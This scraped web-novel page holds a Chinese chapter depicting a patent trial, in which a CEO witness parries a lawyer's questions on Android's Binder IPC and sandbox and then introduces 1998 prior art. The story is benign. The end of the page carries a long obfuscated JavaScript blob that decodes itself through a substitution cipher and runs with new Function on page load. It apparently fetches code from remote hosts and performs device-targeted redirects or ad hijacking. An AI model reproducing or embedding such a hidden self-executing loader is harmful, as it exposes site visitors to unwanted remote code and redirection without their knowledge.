首页
[切换至繁体版]
返回

第六五三章 慌乱

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第六五三章慌乱(第1/2页)
    对方律师——K&S律所那位以强势著称的首席诉讼律师马库斯·韦斯顿——在法官批准其交叉询问后,立刻从原告席起身。
    他身材高大,穿着价格不菲的深蓝色条纹西装,灰白的头发梳得一丝不苟,脸上带着一种习惯于在法庭上掌控局面的自信,但眼神深处却透出被沈墨华之前证言打乱节奏后的警惕与攻击性。
    他几步走到证人席前方,并未立刻发问,而是先调整了一下自己的金丝边眼镜,目光如同审视猎物般扫过沈墨华平静无波的脸,试图施加无形的压力。
    法庭内的空气仿佛随着他的动作而更加凝滞,旁听席上的林清晓不自觉地屏住了呼吸。
    “沈先生,”韦斯顿开口,声音洪亮而富有穿透力,带着刻意放缓的、仿佛在斟酌每个字眼的节奏,“您作为被告公司的首席执行官,亲自出席作证,对维护贵公司的商业利益,自然有着……极高的积极性。这或许会影响您对技术事实判断的……绝对客观性,您同意吗?”
    开场便暗指证人存在利益偏见,这是交叉询问中常见的施压手段。
    沈墨华微微抬起视线,迎向韦斯顿的目光,脸上没有任何被冒犯或慌张的神色,语气平淡如常:“我基于我的专业知识和事实提供证言。我的陈述是否客观,法官阁下和本案记录自会判断。”
    他巧妙地将评判权交还给法庭,避开了对方设下的“是否同意”的语义陷阱。
    韦斯顿显然没指望第一个问题就能难倒对方,他很快转向技术层面,这才是他准备的主战场。
    “很好。那么,让我们回到技术细节,沈先生。”他走回原告席,拿起一份厚厚的文件,翻到某一页,“您刚才声称,贵公司的‘安卓’系统,其‘进程间通信机制’——具体来说,是‘绑定器’(Binder)驱动框架——与我的客户专利中权利要求3所描述的‘基于消息队列的异步通信接口’存在‘本质区别’。能否请您,用足够具体而非笼统的语言,向法庭解释一下,这种‘本质区别’究竟何在?”
    他刻意使用了“绑定器”这个相对具体的安卓内部模块名称,并引用了专利权利要求编号,试图将讨论引入复杂且容易产生混淆的具体实现细节,考验沈墨华临场反应的深度和准确性。
    沈墨华的神色没有任何变化,仿佛早已预料到会有此一问。
    “可以。”他简洁地回答,随即转向法官,“法官阁下,为便于说明,我请求使用展示板。”
    在法官点头示意后,他从容地站起身,走到法庭中央事先准备好的大型可书写白板前。
    他没有立刻动笔,而是先面向法官和对方律师,用流利而清晰、不带任何口音的英语开始阐述,语速平稳,确保每个词都清晰可辨:“首先,需要明确一个前提:专利权利要求3描述的是一个相对**抽象和高层**的‘通信接口’概念,它关注的是‘异步’、‘消息队列’这些功能特征。而安卓系统的‘绑定器’,是一个**具体的、底层的内核驱动实现**。”
    他一边说,一边在白板左侧画了一个简单的方框,标注“专利Claim3:抽象接口(功能描述)”,在右侧画了另一个方框,标注“安卓Binder:具体实现(内核驱动)”。
    “两者的‘本质区别’首先在于抽象层级不同。前者是‘要做什么’(What)的描述,后者是‘如何做到’(How)的方案。”
    韦斯顿插话,语气带着质疑:“但你的‘绑定器’难道不也实现了异步消息传递吗?这难道不正落入了权利要求3所覆盖的功能范围?”
    “这正是容易产生混淆的关键点。”沈墨华并未被干扰,拿起一支黑色记号笔,在代表“安卓Binder”的方框下快速勾勒出几个子模块和箭头,“‘绑定器’实现跨进程通信的核心机制,并非简单依赖一个通用的‘消息队列’。它引入了一套独特的**进程间对象引用和事务管理模型**。”
    他在白板上写下“对象引用”、“事务ID”、“线程迁移”等术语,并画出简化的数据流图。
    “具体而言,它通过内核维护的‘引用计数表’来精确管理远程对象生命周期,通过‘事务栈’来跟踪嵌套的跨进程调用,其数据封送(Marshalling)和线程调度策略也与传统消息队列有显著差异。这些**具体的设计选择和实现手段**,构成了‘绑定器’独特的技术方案,其目的是为了在移动设备上实现更高效率、更安全的IPC,而不仅仅是实现‘异步消息传递’这个宽泛功能。”
    他的解释层层递进,从抽象到具体,既有架构层面的对比,又有关键实现细节的支撑,逻辑清晰,令人信服。
    旁听席上,连几位法律记者都开始认真记录他画出的示意图。
    韦斯顿意识到在“绑定器”具体细节上纠缠可能占不到便宜,反而会让法官更清晰地理解安卓的技术独特性。
    他立刻转换角度,再次提升问题的复杂性和攻击性:“那么,关于权利要求4中提到的‘动态资源映射与隔离机制’,你方声称安卓系统的‘应用沙箱’与之不同。专利中明确提到了‘基于硬件虚拟化扩展的轻量级隔离’,而据我所知,安卓系统目前主要依赖于Linux内核的用户ID(UID)隔离。这是否意味着,安卓系统在安全性隔离的‘技术先进性’上,实际上**落后**于我的客户在数年前就已构思并寻求保护的专利技术方案?”
    这个问题极为刁钻,不仅再次将讨论拉入艰深的操作系统安全机制比较,更隐含了对安卓技术价值的贬低,试图引导法官形成“专利技术更先进”的印象。
    沈墨华的嘴角几不可察地向下抿了微乎其微的弧度,那并非笑意,而是一种对问题中逻辑陷阱的冷然评估。
    他放下记号笔,双手自然垂在身侧,目光平静地看向韦斯顿,并未直接回答“是或否”,而是再次进行概念厘清:“律师先生,这里存在一个**范畴错误**。专利权利要求4所描述的,是一种**构想性的隔离机制**,它提及‘硬件虚拟化扩展’作为一种可能的实现途径。而安卓的‘应用沙箱’,是一个**已经大规模商用的、成熟的安全架构**,其核心是Linux内核提供的多种隔离机制(包括但不限于UID、文件系统命名空间、能力边界等)的组合运用。”
    他停顿一下,让法庭消化这个区别,然后继续,“评判一个安全架构是否‘先进’,并非仅仅看它是否采用了某项特定的、处于发展中的硬件技术(如2001年时移动设备尚未普及的硬件虚拟化支持),而要看其在**目标硬件平台约束下,能否有效达成安全隔离的设计目标,并平衡性能、功耗和兼容性**。安卓的沙箱模型经过大量真实设备的检验,证明了其在该目标下的有效性。而贵方专利中的构想,在申请日时,更多是一种面向未来的、未经验证的技术可能性描述。两者属于不同的范畴,直接比较‘先进性’并无实际意义。”
    他不仅化解了“落后”的指控,更反过来质疑了对方专利技术方案在当时的实际可实现性和必要性,逻辑严谨,无懈可击。
    韦斯顿的脸色微微沉了下来,他连续两次在具体技术交锋中被对方以清晰的逻辑和更扎实的技术背景化解。
    他感到必须拿出更具压迫性的姿态,并试图将话题引向可能对己方有利的、关于“发明构思”的时间线。
    他上前一步,声音提高,带着明显的质疑语气:“沈先生,你一再强调具体实现与抽象概念的区别。那么,让我们回到最核心的‘发明构思’本身。我的客户在2001年提交这些专利申请时,其所构想的模块化、消息通信、安全隔离的移动操作系统架构,在当时难道不是极具前瞻性和创新性的吗?难道市场上存在一个完整的、公开的、如专利所描述的移动操作系统吗?”
    他试图引导沈墨华承认对方专利在“构思”上的“独创性”,为后续辩论留下空间。
    沈墨华静静地听他说完,深邃的眼眸中闪过一丝了然的光芒。
    对方终于主动将话题引向了“发明构思”的时间点和公开性——这正是他等待的,将那份关键“前案”证据引入法庭辩论的最佳时机。
    他没有立刻回答,而是微微侧身,再次面向法官,语气沉稳而郑重:“法官阁下,要客观评估一项专利技术在申请日时的‘前瞻性’或‘创新性’,最可靠的方式,是与**申请日之前已经公开存在的技术知识**进行比对。”
    他略微停顿,目光扫过韦斯顿,然后清晰地说道:“事实上,在1998年,也就是早于涉案专利最早申请日超过三年,已经有一份公开的技术文献,详细描述了一种与涉案专利核心构思高度相似的移动设备操作系统架构模型。”
    此话一出,法庭内出现了极其细微的骚动。
    原告席上的律师们交换着震惊和不安的眼神,韦斯顿的瞳孔猛地收缩,他显然知道对方指的是什么,但没料到沈墨华会在交叉询问中主动、如此直接地提出来。
    (本章未完,请点击下一页继续阅读)第六五三章慌乱(第2/2页)
    法官也抬起了头,镜片后的目光变得更为专注。
    “你指的是什么文献?”韦斯顿强行稳住声线,试图反问掌控。
    沈墨华没有理会他的反问,而是直接向法官请求:“法官阁下,为确保证言的准确性和便于法庭理解,我请求将我方证据编号D-127,即1998年INRIA技术报告的相关部分,以及涉案专利权利要求的相关部分,在屏幕上进行并排展示。”
    法官审视了一下沈墨华,又看了看明显有些措手不及的韦斯顿,点了点头:“批准。书记官,协助展示。”
    法庭前方的大型投影屏幕亮起,很快被分割为左右两部分。
    左侧,是INRIA技术报告1998年6月封面的扫描件,以及其中几页关键内容的高亮截图,包括架构框图、模块化服务列表、基于消息的通信和基于能力的访问控制描述。
    右侧,则是TitanTech相关专利的权利要求1、2、3、4的正式文本,关键术语已被标亮。
    两份材料并排而立,形成了一种无声却极具冲击力的对比。
    沈墨华从助理手中接过一支红色的激光笔。
    他走到屏幕旁,身姿挺拔,激光笔的红色光点精准地落在左侧报告的架构框图上。
    “各位请看,这份1998年的公开报告,**已经明确提出了**:为资源受限的移动设备,设计一个**模块化的微内核**;内核仅负责基础调度和**基于消息的异步进程间通信**;其他功能作为独立**服务模块**运行;通过**基于能力(Capability)的模型**实现服务间的资源访问控制和隔离。”
    他的声音不高,但每个词都如同钟磬,敲击在寂静的法庭里。
    激光笔的红点随之移动,清晰地指示着报告中的对应段落。
    然后,红点平稳地移到屏幕右侧的专利文本上。
    “而涉案专利权利要求1,描述的是:一个包含**最小化核心调度器**、通过**基于消息的进程间通信机制**交互的**独立服务模块**、以及**动态资源访问控制层**的操作系统内核。”
    红点在两项权利要求的关键词上逐一停留。
    “权利要求2进一步列举了服务模块类型:内存管理、设备驱动抽象、电源管理等——这与报告中列举的‘标准服务集’高度对应。”
    “权利要求3强调异步通信——报告中有专门章节论述异步消息传递原语。”
    “权利要求4提及基于硬件支持的隔离构想——报告中已提出基于能力的访问控制作为安全隔离基础。”
    他的解说严格对照屏幕上的文本,没有添加任何主观渲染,只是将事实并置在一起。
    但正是这种冷静客观的并置,产生了强大的逻辑力量。
    “1998年公开报告所阐述的**技术问题**(为移动设备设计模块化、安全的系统)、采用的**技术手段**(微内核、消息通信、模块化服务、能力模型)、以及预期的**技术效果**(灵活性、可维护性、安全性),与涉案专利在2001-2002年所要求保护的技术方案的**核心构思,在实质上是一致的。**”
    沈墨华最后总结,激光笔的红点停留在两份材料中间,声音清晰而笃定,“根据专利法关于新颖性的基本原则,在专利申请日之前,已有公开文献披露了相同或实质相同的技术方案,则该专利权利要求**不具备新颖性**。”
    “全场寂静。”
    只有激光笔微弱的电流声和空调风声可闻。
    法官身体前倾,仔细对比着屏幕上的内容,手中的笔停住了。
    原告席一片死寂,韦斯顿张了张嘴,似乎想反驳,却一时找不到合适的切
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();